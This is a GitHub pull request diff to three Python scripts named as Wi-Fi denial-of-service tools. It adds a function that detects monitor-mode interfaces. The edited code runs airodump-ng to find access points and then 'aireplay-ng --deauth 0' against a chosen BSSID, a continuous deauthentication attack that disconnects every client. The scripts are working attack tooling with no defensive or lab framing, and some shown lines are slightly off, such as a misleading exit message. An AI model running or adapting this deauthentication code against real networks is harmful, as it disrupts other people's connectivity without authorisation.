Skip to content

Fix Monitor Mode Detection for Various Network Adapters #58

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 52 additions & 0 deletions wifi_dos3.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,49 @@
# If so we return False so we don't add it again.
# If it is not in the lst we return True which will instruct the elif
# statement to add it to the lst.

def get_monitor_interface(managed_iface):
"""
Finds the corresponding monitor mode interface for a given managed interface.
The monitor interface can be wlanXmon, monX, or even remain as wlanX.

Args:
managed_iface (str): The name of the managed interface (e.g., wlan0, wlan1, wlan2).

Returns:
str or None: The matching monitor mode interface (e.g., wlan0mon, mon0, wlan0) or None if not found.
"""
# Extract the number from the managed interface (e.g., wlan0 → 0, wlan2 → 2)
match = re.search(r"(\d+)$", managed_iface)
if not match:
print(f"Error: Could not extract number from {managed_iface}")
return None

iface_number = match.group() # Extracted number as a string

# Run 'iw dev' to get the list of interfaces and their modes
iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True).stdout

# Look for interfaces in monitor mode
monitor_interfaces = {}
iface_name = None
monitor_mode = False

for line in iw_result.split("\n"):
line = line.strip()
if line.startswith("Interface "):
iface_name = line.split()[1] # Get the interface name
monitor_mode = False # Reset monitor mode flag for the new interface
if "type monitor" in line and iface_name:
monitor_interfaces[iface_name] = True # Store as monitor mode

# Match a monitor mode interface with the same number
for iface in monitor_interfaces.keys():
if re.search(rf"{iface_number}(mon)?$", iface): # Match wlan0mon, mon0, or wlan0
return iface

return None # No matching monitor mode interface found

def check_for_essid(essid, lst):
check_status = True

Expand Down Expand Up @@ -128,6 +171,14 @@ def check_for_essid(essid, lst):
# The output is an open file that can be accessed by other programs.
# We run the iwconfig command to look for wireless interfaces.
# Discover access points

# Get the actual monitor mode name for the selected interface
hacknic = get_monitor_interface(hacknic)

if not hacknic:
print("No monitor mode interface found, exiting...")
exit()

discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
Expand Down Expand Up @@ -193,6 +244,7 @@ def check_for_essid(essid, lst):
# Deauthenticate clients using a subprocess.
# The script is the parent process and creates a child process which runs the system command,
# and will only continue once the child process has completed.

try:
subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic])
except KeyboardInterrupt:
Expand Down
58 changes: 54 additions & 4 deletions wifi_dos_type1.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,49 @@
# If so we return False so we don't add it again.
# If it is not in the lst we return True which will instruct the elif
# statement to add it to the lst.

def get_monitor_interface(managed_iface):
"""
Finds the corresponding monitor mode interface for a given managed interface.
The monitor interface can be wlanXmon, monX, or even remain as wlanX.

Args:
managed_iface (str): The name of the managed interface (e.g., wlan0, wlan1, wlan2).

Returns:
str or None: The matching monitor mode interface (e.g., wlan0mon, mon0, wlan0) or None if not found.
"""
# Extract the number from the managed interface (e.g., wlan0 → 0, wlan2 → 2)
match = re.search(r"(\d+)$", managed_iface)
if not match:
print(f"Error: Could not extract number from {managed_iface}")
return None

iface_number = match.group() # Extracted number as a string

# Run 'iw dev' to get the list of interfaces and their modes
iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True).stdout

# Look for interfaces in monitor mode
monitor_interfaces = {}
iface_name = None
monitor_mode = False

for line in iw_result.split("\n"):
line = line.strip()
if line.startswith("Interface "):
iface_name = line.split()[1] # Get the interface name
monitor_mode = False # Reset monitor mode flag for the new interface
if "type monitor" in line and iface_name:
monitor_interfaces[iface_name] = True # Store as monitor mode

# Match a monitor mode interface with the same number
for iface in monitor_interfaces.keys():
if re.search(rf"{iface_number}(mon)?$", iface): # Match wlan0mon, mon0, or wlan0
return iface

return None # No matching monitor mode interface found

def check_for_essid(essid, lst):
check_status = True

Expand Down Expand Up @@ -129,7 +172,15 @@ def check_for_essid(essid, lst):
# The output is an open file that can be accessed by other programs.
# We run the iwconfig command to look for wireless interfaces.
# Discover access points
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Get the actual monitor mode name for the selected interface
hacknic = get_monitor_interface(hacknic)

if not hacknic:
print("No monitor mode interface found, exiting...")
exit()

discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
try:
Expand Down Expand Up @@ -189,13 +240,12 @@ def check_for_essid(essid, lst):

# Change to the channel we want to perform the DOS attack on.
# Monitoring takes place on a different channel and we need to set it to that channel.
subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
subprocess.run(["airmon-ng", "start", hacknic, hackchannel])

# Deauthenticate clients using a subprocess.
# The script is the parent process and creates a child process which runs the system command,
# and will only continue once the child process has completed.
subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"])
subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)]])

# User will need to use control-c to break the script.


62 changes: 56 additions & 6 deletions wifi_dos_type2.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,50 @@
# If so we return False so we don't add it again.
# If it is not in the lst we return True which will instruct the elif
# statement to add it to the lst.

def get_monitor_interface(managed_iface):
"""
Finds the corresponding monitor mode interface for a given managed interface.
The monitor interface can be wlanXmon, monX, or even remain as wlanX.

Args:
managed_iface (str): The name of the managed interface (e.g., wlan0, wlan1, wlan2).

Returns:
str or None: The matching monitor mode interface (e.g., wlan0mon, mon0, wlan0) or None if not found.
"""
# Extract the number from the managed interface (e.g., wlan0 → 0, wlan2 → 2)
match = re.search(r"(\d+)$", managed_iface)
if not match:
print(f"Error: Could not extract number from {managed_iface}")
return None

iface_number = match.group() # Extracted number as a string

# Run 'iw dev' to get the list of interfaces and their modes
iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True).stdout

# Look for interfaces in monitor mode
monitor_interfaces = {}
iface_name = None
monitor_mode = False

for line in iw_result.split("\n"):
line = line.strip()
if line.startswith("Interface "):
iface_name = line.split()[1] # Get the interface name
monitor_mode = False # Reset monitor mode flag for the new interface
if "type monitor" in line and iface_name:
monitor_interfaces[iface_name] = True # Store as monitor mode

# Match a monitor mode interface with the same number
for iface in monitor_interfaces.keys():
if re.search(rf"{iface_number}(mon)?$", iface): # Match wlan0mon, mon0, or wlan0
return iface

return None # No matching monitor mode interface found


def check_for_essid(essid, lst):
check_status = True

Expand Down Expand Up @@ -124,7 +168,15 @@ def check_for_essid(essid, lst):
# The Popen method opens a pipe from a command. The output is an open file that can be accessed by other programs.
# We run the iwconfig command to look for wireless interfaces.
# Discover access points
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Get the actual monitor mode name for the selected interface
hacknic = get_monitor_interface(hacknic)

if not hacknic:
print("Putting Wifi adapter into monitored mode:")
exit()

discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
try:
Expand Down Expand Up @@ -178,10 +230,10 @@ def check_for_essid(essid, lst):

# Change to the channel we want to perform the DOS attack on.
# Monitoring takes place on a different channel and we need to set it to that channel.
subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
subprocess.run(["airmon-ng", "start", hacknic, hackchannel])

# Deauthenticate clients. We run it with Popen and we send the output to subprocess.DEVNULL and the errors to subprocess.DEVNULL. We will thus run deauthenticate in the background.
subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)]], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# We run an infinite loop which you can quit by presses ctrl-c. The deauthentication will stop when we stop the script.
try:
Expand All @@ -190,8 +242,6 @@ def check_for_essid(essid, lst):
except KeyboardInterrupt:
print("Stop monitoring mode")
# We run a subprocess.run command where we stop monitoring mode on the network adapter.
subprocess.run(["airmon-ng", "stop", hacknic + "mon"])
subprocess.run(["airmon-ng", "stop", hacknic])
print("Thank you! Exiting now")